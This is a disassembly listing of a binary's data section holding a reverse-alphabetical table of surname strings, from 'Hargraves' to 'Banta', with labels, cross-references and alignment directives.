aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E3D0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E3CCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E3C8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E3C4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E3C0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E3B8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E3B4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E3B0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E3ACo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E3A8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E3A4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E3A0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E39Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042E398o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E394o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E390o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E38Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E388o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E384o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E380o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E37Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E378o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E374o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E370o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E36Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E368o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E364o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E360o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E35Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E358o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E354o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E350o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E34Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E348o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E344o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E340o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042E33Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042E338o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E334o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E330o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E32Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E328o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E324o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E320o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E31Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E318o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E314o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E310o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E30Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E308o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E304o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E300o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2FCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2F8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2F4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2F0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2ECo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2E8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2E4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2E0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2DCo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2D8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E2D4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042E2D0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E2CCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E2C8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E2C4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E2C0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E2BCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E2B8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E2B4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E2B0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E2ACo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042E2A4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E2A0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E29Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E298o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E294o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E290o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E28Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E288o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E284o
aFink		db 'Fink',0             ; DATA XREF: ___:0042E280o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042E27Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042E278o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E274o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E270o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E26Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E268o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E264o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E260o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E25Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E258o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042E254o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E250o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E24Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E248o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E244o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E240o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E23Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E238o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E234o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E230o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E22Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E228o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E224o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E220o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E21Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042E218o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E214o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E210o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E20Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E208o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E204o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E200o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1FCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1F8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1F4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1F0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1ECo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1E8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1E4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1E0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1DCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1D8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E1D4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E1D0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E1CCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E1C8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E1C4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E1C0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E1BCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E1B8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E1B4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E1B0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E1ACo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E1A8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042E1A4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E1A0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E19Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E198o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E194o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E190o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E18Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E188o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E184o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E180o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E17Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E178o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E174o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E170o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E16Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E168o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E164o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E160o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E15Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E158o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E154o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E150o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E148o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E144o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E140o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E13Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E138o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E134o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E130o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E128o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E124o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E120o
aDavid		db 'David',0            ; DATA XREF: ___:0042E11Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E118o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E114o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042E110o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E108o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042E104o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E100o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0FCo
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0F8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0F4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0F0o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0ECo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0E8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0E4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0E0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0DCo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0D8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E0D4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E0D0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E0CCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E0C8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E0C4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E0C0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E0BCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E0B8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E0B4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E0B0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E0ACo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E0A8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E0A4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E09Co
					; ___:0042E0A0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E098o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E094o
aColella	db 'Colella',0          ; DATA XREF: ___:0042E090o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E08Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E088o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E084o
aClow		db 'Clow',0             ; DATA XREF: ___:0042E080o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E07Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042E078o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E074o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E070o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E06Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E068o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E064o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E060o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042E05Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E058o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E054o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E050o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E04Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E048o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E044o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E040o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E03Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E038o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042E034o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042E030o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042E02Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042E028o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042E024o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042E020o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042E01Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042E018o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042E014o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042E010o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042E00Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042E008o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042E004o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042E000o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042DFF8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFF0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFECo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFE4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFE0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFDCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFD8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DFD4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DFD0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DFCCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DFC8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DFC4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DFC0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DFBCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DFB8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DFB0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DFACo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DFA8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DFA4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DFA0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF9Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF98o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF94o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF90o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF8Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF88o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF84o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF80o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF7Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF78o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF74o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF70o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF68o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF64o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF60o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF5Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF58o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF50o
					; ___:0042DF54o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF4Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF48o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF44o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF40o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF3Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF38o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DF34o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DF30o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DF2Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DF28o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DF24o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DF20o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DF1Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DF18o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DF14o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DF10o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DF0Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DF08o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DF04o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DF00o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEFCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEF8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEF4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEF0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEECo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042DEE8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEE4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEE0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEDCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DED8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DED4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DED0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DECCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DEC8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DEC4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DEC0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DEBCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DEB8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DEB4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DEB0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DEACo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DEA8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DEA4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DEA0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE9Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE98o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE94o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE90o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE8Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE88o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE84o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE80o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE7Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE78o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE74o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE70o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE6Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE68o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE64o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE60o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE5Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE58o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE54o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE50o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE4Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE48o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE44o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE40o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE3Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE38o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DE34o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DE30o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DE2Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042DE28o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DE24o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DE20o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DE1Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DE18o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DE14o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DE10o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DE0Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DE08o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DE04o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DE00o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDFCo
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDF4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDF0o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDECo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDE8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDE4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDE0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDD8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDD0o
		align 4
